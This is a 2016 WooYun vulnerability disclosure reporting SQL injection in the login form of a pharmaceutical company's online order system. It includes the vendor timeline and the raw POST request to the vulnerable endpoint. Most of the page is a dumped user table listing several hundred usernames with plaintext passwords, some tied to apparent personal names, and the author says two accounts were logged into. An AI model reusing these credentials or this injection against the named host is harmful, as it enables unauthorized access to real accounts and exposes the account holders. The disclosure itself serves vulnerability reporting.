当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0209224

漏洞标题：国药医药网上订单系统存在SQL注入漏洞（涉及250多个药业公司的订单可查）

相关厂商：sinopharm.com

漏洞作者： heartk

提交时间：2016-05-16 13:12

修复时间：2016-07-01 14:50

公开时间：2016-07-01 14:50

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-05-16： 细节已通知厂商并且等待厂商处理中
2016-05-17： 厂商已经确认，细节仅向厂商公开
2016-05-27： 细节向核心白帽子及相关领域专家公开
2016-06-06： 细节向普通白帽子公开
2016-06-16： 细节向实习白帽子公开
2016-07-01： 细节向公众公开

简要描述：

涉及250个药业公司。。。

详细说明：

漏洞证明：

POST /mv_od/login.php HTTP/1.1
Host: www.cncmeo.com
Proxy-Connection: keep-alive
Content-Length: 80
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.cncmeo.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded
Referer: http://www.cncmeo.com/mv_od/login.php
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=4640acbae099bcfbfba491c44c3f3770
Imp_username=admin&Imp_password=1&Imp_userstat=2&imageField.x=31&imageField.y=16


1.jpg


2.jpg


6.jpg


+--------+--------+------+--------+-----------------+------------------+
| DEPTID | DEPTNO | ID | USERID | USERNAME | PASSWORD |
+--------+--------+------+--------+-----------------+------------------+
[02:33:39] [WARNING] console output will be trimmed to last 256 rows due to lar
able size
| 24 | 零售 | 4999 | 18134 | p18134 | tingyong1215 |
| 24 | 零售 | 5000 | 18135 | p18135 | tingyong1215 |
| 24 | 零售 | 5001 | 18136 | p18136 | tingyong1215 |
| 24 | 零售 | 5002 | 18138 | p18138 | tingyong1215 |
| 24 | 零售 | 5003 | 18147 | p18147 | tingyong1215 |
| 24 | 零售 | 5004 | 18146 | p18146 | tingyong1215 |
| 24 | 零售 | 5005 | 18148 | p18148 | tingyong1215 |
| 24 | 零售 | 5036 | 18182 | p18182 | tingyong1215 |
| 24 | 零售 | 5037 | 18186 | p18186 | tingyong1215 |
| 24 | 零售 | 5060 | 18210 | p18210 | tingyong1215 |
| 24 | 零售 | 5061 | 18216 | p18216 | tingyong1215 |
| 24 | 零售 | 5062 | 18218 | p18218 | tingyong1215 |
| 24 | 零售 | 5077 | 18217 | p18217 | tingyong1215 |
| 4418 | 麻药 | 5083 | 18266 | m18266 | 111111 |
| 4418 | 麻药部 | 5085 | 1764 | yanbingrui | 121234 |
| 4418 | 麻药部 | 5101 | 1811 | caowei | cw2000323001 |
| 24 | 零售 | 4960 | 18106 | p18106 | tingyong1215 |
| 24 | 零售 | 4981 | 17938 | p17938 | tingyong1215 |
| 24 | 零售 | 4982 | 18078 | p18078 | tingyong1215 |
| 24 | 零售 | 4983 | 18079 | p18079 | tingyong1215 |
| 24 | 零售 | 4984 | 18121 | p18121 | tingyong1215 |
| 24 | 零售 | 5047 | 11712 | p11712 | tingyong1215 |
| 24 | 零售 | 5048 | 18204 | p18204 | tingyong1215 |
| 24 | 零售 | 5049 | 18205 | p18205 | tingyong1215 |
| 24 | 零售 | 5050 | 18206 | p18206 | tingyong1215 |
| 24 | 商务 | 5051 | 18196 | p18196 | tingyong1215 |
| 24 | 零售 | 5052 | 18200 | p18200 | tingyong1215 |
| 24 | 商务 | 5053 | 18202 | p18202 | tingyong1215 |
| 24 | 商务 | 5054 | 18203 | p18203 | tingyong1215 |
| 4418 | 麻药 | 5087 | 18307 | m18307 | 111111 |
| 4418 | 麻药 | 5091 | 18339 | m18339 | 111111 |
| 24 | 商务 | 4942 | 18082 | p18082 | tingyong1215 |
| 24 | 零售 | 4943 | 18083 | p18083 | tingyong1215 |
| 24 | 零售 | 4944 | 18085 | p18085 | tingyong1215 |
| 24 | 商务 | 4945 | 18084 | p18084 | tingyong1215 |
| 24 | 商务 | 4946 | 18086 | p18086 | tingyong1215 |
| 24 | 零售 | 4947 | 18090 | p18090 | tingyong1215 |
| 24 | 零售 | 4948 | 18091 | p18091 | tingyong1215 |
| 24 | 零售 | 4949 | 18092 | p18092 | tingyong1215 |
| 24 | 零售 | 4950 | 18088 | p18088 | tingyong1215 |
| 24 | 零售 | 4951 | 18089 | p18089 | tingyong1215 |
| 24 | 零售 | 4952 | 11602 | p11602 | tingyong1215 |
| 24 | 零售 | 4953 | 18094 | p18094 | tingyong1215 |
| 24 | 零售 | 4969 | 18064 | p18064 | tingyong1215 |
| 24 | 零售 | 4970 | 18065 | p18065 | tingyong1215 |
| 24 | 零售 | 4971 | 18066 | p18066 | tingyong1215 |
| 24 | 零售 | 4972 | 18067 | p18067 | tingyong1215 |
| 24 | 零售 | 4973 | 18068 | p18068 | tingyong1215 |
| 24 | 零售 | 4974 | 18074 | p18074 | tingyong1215 |
| 24 | 零售 | 4975 | 18075 | p18075 | tingyong1215 |
| 24 | 零售 | 4976 | 18077 | p18077 | tingyong1215 |
| 24 | 零售 | 4977 | 18114 | p18114 | tingyong1215 |
| 24 | 商务 | 4978 | 18116 | p18116 | tingyong1215 |
| 24 | 商务 | 4979 | 18117 | p18117 | tingyong1215 |
| 24 | 零售 | 4980 | 18109 | p18109 | tingyong1215 |
| 24 | 零售 | 5022 | 8760 | p8760 | tingyong1215 |
| 24 | 零售 | 5023 | 18168 | p18168 | tingyong1215 |
| 24 | 零售 | 5024 | 18169 | p18169 | tingyong1215 |
| 24 | 零售 | 5025 | 18170 | p18170 | tingyong1215 |
| 24 | 商务 | 5026 | 18176 | p18176 | tingyong1215 |
| 24 | 零售 | 5040 | 18115 | p18115 | tingyong1215 |
| 24 | 零售 | 5041 | 18187 | p18187 | tingyong1215 |
| 24 | 零售 | 5042 | 18080 | p18080 | tingyong1215 |
| 24 | 零售 | 5043 | 17814 | p17814 | tingyong1215 |
| 24 | 零售 | 5044 | 18197 | p18197 | tingyong1215 |
| 24 | 零售 | 5045 | 18198 | p18198 | tingyong1215 |
| 24 | 零售 | 5046 | 18190 | p18190 | tingyong1215 |
| 4418 | 麻药部 | 5086 | 1741 | zhanglei | zhanglei1 |
| 4418 | 麻药 | 5088 | 1109 | m1109 | hqlz12 |
| 4418 | 麻药 | 5093 | 18458 | m18458 | 111111 |
| 4418 | 麻药 | 5094 | 18483 | m18483 | 111111 |
| 4418 | 麻药 | 5095 | 18518 | m18518 | 111111 |
| 4418 | 麻药 | 5096 | 18549 | m18549 | 111111 |
| 24 | 零售 | 4989 | 18129 | p18129 | tingyong1215 |
| 24 | 零售 | 4990 | 18130 | p18130 | tingyong1215 |
| 24 | 零售 | 4991 | 18108 | p18108 | tingyong1215 |
| 24 | 零售 | 1978 | 15089 | p15089 | tingyong1215 |
| 24 | 商务 | 1988 | 12443 | p12443 | tingyong1215 |
| 24 | 零售 | 2121 | 15344 | p15344 | tingyong1215 |
| 24 | 零售 | 2342 | 15772 | p15772 | tingyong1215 |
| 24 | 零售 | 2351 | 9677 | p9677 | tingyong1215 |
| 24 | 零售 | 1792 | 9940 | p9940 | tingyong1215 |
| 24 | 零售 | 1798 | 9828 | p9828 | tingyong1215 |
| 24 | 零售 | 1804 | 7588 | p7588 | tingyong1215 |
| 24 | 零售 | 1810 | 8607 | p8607 | tingyong1215 |
| 24 | 零售 | 1816 | 13751 | p13751 | tingyong1215 |
| 24 | 商务部 | 1028 | 11266 | p11266 | tingyong1215 |
| 24 | 商务部 | 1035 | 7895 | p7895 | tingyong1215 |
| 24 | 商务部 | 1041 | 8137 | p8137 | tingyong1215 |
| 24 | 商务部 | 1247 | 12524 | p12524 | tingyong1215 |
| 24 | 商务部 | 1300 | 14095 | p14095 | tingyong1215 |
| 24 | 零售 | 1707 | 12601 | p12601 | tingyong1215 |
| 24 | 零售 | 1713 | 14868 | p14868 | tingyong1215 |
| 24 | 零售 | 3007 | 9912 | p9912 | tingyong1215 |
| 24 | 商务 | 3019 | 15814 | p15814 | tingyong1215 |
| 24 | 零售 | 3026 | 9623 | p9623 | tingyong1215 |
| 24 | 零售 | 3035 | 15214 | p15214 | tingyong1215 |
| 24 | 零售 | 3046 | 14601 | p14601 | tingyong1215 |
| 24 | 零售 | 3053 | 10165 | p10165 | tingyong1215 |
| 24 | 零售 | 3218 | 12642 | p12642 | tingyong1215 |
| 24 | 零售 | 3224 | 12707 | p12707 | tingyong1215 |
| 24 | 零售 | 3230 | 13705 | p13705 | tingyong1215 |
| 24 | 零售 | 3236 | 10105 | p10105 | tingyong1215 |
| 24 | 零售 | 3242 | 11242 | p11242 | tingyong1215 |
| 24 | 零售 | 3249 | 13975 | p13975 | tingyong1215 |
| 24 | 零售 | 3255 | 9584 | p9584 | tingyong1215 |
| 24 | 零售 | 3399 | 11703 | p11703 | tingyong1215 |
| 24 | 商务 | 3405 | 16006 | p16006 | tingyong1215 |
| 24 | 零售 | 3411 | 15114 | p15114 | tingyong1215 |
| 24 | 零售 | 3417 | 15283 | p15283 | tingyong1215 |
| 24 | 零售 | 3424 | 13660 | p13660 | tingyong1215 |
| 24 | 零售 | 3430 | 16071 | p16071 | tingyong1215 |
| 24 | 零售 | 3554 | 16204 | p16204 | tingyong1215 |
| 24 | 零售 | 3560 | 16212 | p16212 | tingyong1215 |
| 24 | 零售 | 3567 | 16221 | p16221 | tingyong1215 |
| 24 | 零售 | 3573 | 16232 | p16232 | tingyong1215 |
| 24 | 零售 | 3580 | 16238 | p16238 | tingyong1215 |
| 24 | 零售 | 2480 | 14477 | p14477 | tingyong1215 |
| 24 | 零售 | 2486 | 10897 | p10897 | tingyong1215 |
| 24 | 零售 | 2492 | 7851 | p7851 | tingyong1215 |
| 24 | 零售 | 2498 | 12837 | p12837 | tingyong1215 |
| 24 | 零售 | 2504 | 14247 | p14247 | tingyong1215 |
| 24 | 零售 | 2511 | 15250 | p15250 | tingyong1215 |
| 24 | 零售 | 2651 | 13989 | p13989 | tingyong1215 |
| 24 | 零售 | 2657 | 13771 | p13771 | tingyong1215 |
| 24 | 零售 | 2663 | 11202 | p11202 | tingyong1215 |
| 24 | 零售 | 2669 | 9232 | p9232 | tingyong1215 |
| 24 | 零售 | 2675 | 13728 | p13728 | tingyong1215 |
| 24 | 零售 | 2681 | 11499 | p11499 | tingyong1215 |
| 24 | 零售 | 2687 | 10149 | p10149 | tingyong1215 |
| 24 | 零售 | 2829 | 11988 | p11988 | tingyong1215 |
| 24 | 零售 | 2835 | 6961 | p6961 | tingyong1215 |
| 24 | 零售 | 2841 | 9668 | p9668 | tingyong1215 |
| 24 | 零售 | 2847 | 11167 | p11167 | tingyong1215 |
| 24 | 零售 | 2853 | 10479 | p10479 | tingyong1215 |
| 24 | 零售 | 2859 | 10395 | p10395 | tingyong1215 |
| 24 | 商务 | 4433 | 17369 | p17369 | tingyong1215 |
| 24 | 零售 | 4439 | 17379 | p17379 | tingyong1215 |
| 24 | 零售 | 4445 | 17386 | p17386 | tingyong1215 |
| 24 | 零售 | 4604 | 17596 | p17596 | tingyong1215 |
| 24 | 零售 | 4611 | 17607 | p17607 | tingyong1215 |
| 24 | 商务 | 4630 | 17643 | p17643 | tingyong1215 |
| 24 | 商务 | 4644 | 17652 | p17652 | tingyong1215 |
| 24 | 零售 | 4695 | 17735 | p17735 | tingyong1215 |
| 24 | 商务 | 4710 | 17749 | p17749 | tingyong1215 |
| 24 | 零售 | 4716 | 17768 | p17768 | tingyong1215 |
| 24 | 零售 | 4725 | 17776 | p17776 | tingyong1215 |
| 24 | 零售 | 4735 | 17794 | p17794 | tingyong1215 |
| 24 | 零售 | 4895 | 18004 | p18004 | tingyong1215 |
| 24 | 商务 | 4906 | 9394 | p9394 | tingyong1215 |
| 24 | 商务 | 4917 | 18027 | p18027 | tingyong1215 |
| 24 | 商务 | 4926 | 18047 | p18047 | tingyong1215 |
| 24 | 零售 | 4870 | 17982 | p17982 | tingyong1215 |
| 24 | 零售 | 4876 | 17980 | p17980 | tingyong1215 |
| 24 | 零售 | 4922 | 18042 | p18042 | tingyong1215 |
| 24 | 商务 | 4782 | 17866 | p17866 | tingyong1215 |
| 24 | 零售 | 4816 | 17914 | p17914 | tingyong1215 |
| 24 | 零售 | 4836 | 17942 | p17942 | tingyong1215 |
| 24 | 零售 | 4901 | 18009 | p18009 | tingyong1215 |
| 24 | 零售 | 3907 | 16650 | p16650 | tingyong1215 |
| 24 | 零售 | 3744 | 16426 | p16426 | tingyong1215 |
| 24 | 零售 | 3790 | 16486 | p16486 | tingyong1215 |
| 24 | 零售 | 3890 | 16624 | p16624 | tingyong1215 |
| 24 | 零售 | 3924 | 16668 | p16668 | tingyong1215 |
| 24 | 商务 | 3916 | 16655 | p16655 | tingyong1215 |
| 24 | 零售 | 3755 | 16439 | p16439 | tingyong1215 |
| 24 | 商务 | 3838 | 16560 | p16560 | tingyong1215 |
| 24 | 零售 | 4935 | 18069 | p18069 | tingyong1215 |
| 24 | 零售 | 4936 | 18071 | p18071 | tingyong1215 |
| 24 | 零售 | 4937 | 18072 | p18072 | tingyong1215 |
| 24 | 零售 | 4938 | 18073 | p18073 | tingyong1215 |
| 24 | 零售 | 4939 | 18058 | p18058 | tingyong1215 |
| 24 | 零售 | 4940 | 18061 | p18061 | tingyong1215 |
| 24 | 零售 | 4961 | 18099 | p18099 | tingyong1215 |
| 24 | 零售 | 4962 | 18100 | p18100 | tingyong1215 |
| 24 | 零售 | 4963 | 18101 | p18101 | tingyong1215 |
| 24 | 零售 | 4964 | 18103 | p18103 | tingyong1215 |
| 24 | 零售 | 4965 | 18105 | p18105 | tingyong1215 |
| 24 | 商务 | 4992 | 18128 | p18128 | tingyong1215 |
| 24 | 零售 | 4993 | 18139 | p18139 | tingyong1215 |
| 24 | 零售 | 4994 | 18140 | p18140 | tingyong1215 |
| 4418 | 麻药 | 4995 | 18141 | m18141 | 14181m |
| 24 | 零售 | 5006 | 18150 | p18150 | tingyong1215 |
| 24 | 零售 | 5007 | 18153 | p18153 | tingyong1215 |
| 24 | 商务 | 5008 | 18154 | p18154 | tingyong1215 |
| 24 | 零售 | 5009 | 18156 | p18156 | tingyong1215 |
| 24 | 零售 | 5010 | 18157 | p18157 | tingyong1215 |
| 24 | 零售 | 5011 | 18158 | p18158 | tingyong1215 |
| 24 | 零售 | 5012 | 18132 | p18132 | tingyong1215 |
| 24 | 零售 | 5013 | 18155 | p18155 | tingyong1215 |
| 24 | 商务 | 5014 | 18164 | p18164 | tingyong1215 |
| 24 | 零售 | 5015 | 18160 | p18160 | tingyong1215 |
| 24 | 零售 | 5016 | 18161 | p18161 | tingyong1215 |
| 24 | 零售 | 5017 | 18162 | p18162 | tingyong1215 |
| 24 | 零售 | 5018 | 11591 | p11591 | tingyong1215 |
| 24 | 零售 | 5019 | 18166 | p18166 | tingyong1215 |
| 24 | 零售 | 5020 | 18167 | p18167 | tingyong1215 |
| 24 | 商务 | 5021 | 18171 | p18171 | tingyong1215 |
| 24 | 零售 | 5027 | 9693 | p9693 | tingyong1215 |
| 24 | 零售 | 5028 | 18165 | p18165 | tingyong1215 |
| 24 | 商务 | 5029 | 18177 | p18177 | tingyong1215 |
| 24 | 商务 | 5030 | 18178 | p18178 | tingyong1215 |
| 24 | 商务 | 5031 | 18179 | p18179 | tingyong1215 |
| 24 | 零售 | 5032 | 18180 | p18180 | tingyong1215 |
| 24 | 商务 | 5033 | 18181 | p18181 | tingyong1215 |
| 24 | 零售 | 5034 | 18183 | p18183 | tingyong1215 |
| 24 | 商务 | 5035 | 18184 | p18184 | tingyong1215 |
| 24 | 零售 | 3857 | 16592 | p16592 | tingyong1215 |
| 24 | 零售 | 3693 | 16388 | p16388 | tingyong1215 |
| 24 | 零售 | 5078 | 18233 | p18233 | tingyong0121 |
| 24 | 零售 | 5079 | 18234 | p18234 | tingyong0121 |
| 24 | 商务 | 5080 | 18235 | p18235 | tingyong0121 |
| 24 | 商务 | 5081 | 18246 | p18246 | tingyong0121 |
| 24 | 商务 | 5082 | 18245 | p18245 | tingyong0121 |
| 4418 | 麻药 | 5089 | 18325 | m18325 | 111111 |
| 4418 | 麻药 | 5090 | 18326 | m18326 | 111111 |
| 4418 | 麻药 | 5092 | 902 | m902 | 111111 |
| 24 | 商务 | 4954 | 18041 | p18041 | tingyong1215 |
| 24 | 零售 | 4955 | 18096 | p18096 | tingyong1215 |
| 24 | 零售 | 4956 | 18097 | p18097 | tingyong1215 |
| 24 | 零售 | 4957 | 18098 | p18098 | tingyong1215 |
| 24 | 零售 | 4958 | 18102 | p18102 | tingyong1215 |
| 24 | 零售 | 4959 | 18104 | p18104 | tingyong1215 |
| 24 | 零售 | 4966 | 18107 | p18107 | tingyong1215 |
| 24 | 商务 | 4967 | 18110 | p18110 | tingyong1215 |
| 24 | 零售 | 4968 | 18111 | p18111 | tingyong1215 |
| 24 | 零售 | 4985 | 18076 | p18076 | tingyong1215 |
| 24 | 零售 | 4986 | 18122 | p18122 | tingyong1215 |
| 24 | 零售 | 4987 | 18124 | p18124 | tingyong1215 |
| 24 | 零售 | 4988 | 18126 | p18126 | tingyong1215 |
| 24 | 商务 | 5038 | 12578 | p12578 | tingyong1215 |
| 24 | 零售 | 5039 | 18189 | p18189 | tingyong1215 |
| 24 | 零售 | 5055 | 18211 | p18211 | tingyong1215 |
| 24 | 零售 | 5056 | 18212 | p18212 | tingyong1215 |
| 24 | 零售 | 5057 | 18213 | p18213 | tingyong1215 |
| 24 | 零售 | 5058 | 18208 | p18208 | tingyong1215 |
| 24 | 零售 | 5059 | 18214 | p18214 | tingyong1215 |
| 24 | 零售 | 5063 | 10603 | p10603 | tingyong1215 |
| 24 | 零售 | 5064 | 18191 | p18191 | tingyong1215 |
| 24 | 零售 | 5065 | 10657 | p10657 | tingyong1215 |
| 24 | 零售 | 5066 | 18219 | p18219 | tingyong1215 |
| 24 | 零售 | 5067 | 18220 | p18220 | tingyong1215 |
| 24 | 商务 | 5068 | 18221 | p18221 | tingyong1215 |
| 24 | 零售 | 5069 | 18225 | p18225 | tingyong1215 |
| 24 | 零售 | 5070 | 18226 | p18226 | tingyong1215 |
| 24 | 商务 | 5071 | 18227 | p18227 | tingyong1215 |
| 24 | 商务 | 5072 | 18228 | p18228 | tingyong1215 |
| 24 | 商务 | 5073 | 18229 | p18229 | tingyong1215 |
| 24 | 零售 | 5074 | 18230 | p18230 | tingyong1215 |
| 24 | 商务 | 5075 | 18231 | p18231 | tingyong1215 |
| 24 | 零售 | 5076 | 18224 | p18224 | tingyong1215 |
| 4418 | 麻药部 | 5084 | 1765 | zhangdongge | 121234 |
| 4418 | 麻药 | 5097 | 18611 | m18611 | 111111 |
| 4418 | 麻药部 | 5098 | 1740 | libingfei | 111111 |
| 4418 | 麻药部 | 5099 | 1742 | lanzhimin | 111111 |
| 4418 | 麻药 | 5100 | 18713 | m18713 | xd7692463 |
只是拿了其中两个账号测试了

7.jpg


8.jpg

修复方案：

版权声明：转载请注明来源 heartk@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2016-05-17 14:41

厂商回复：

尽快进行修复

最新状态：

暂无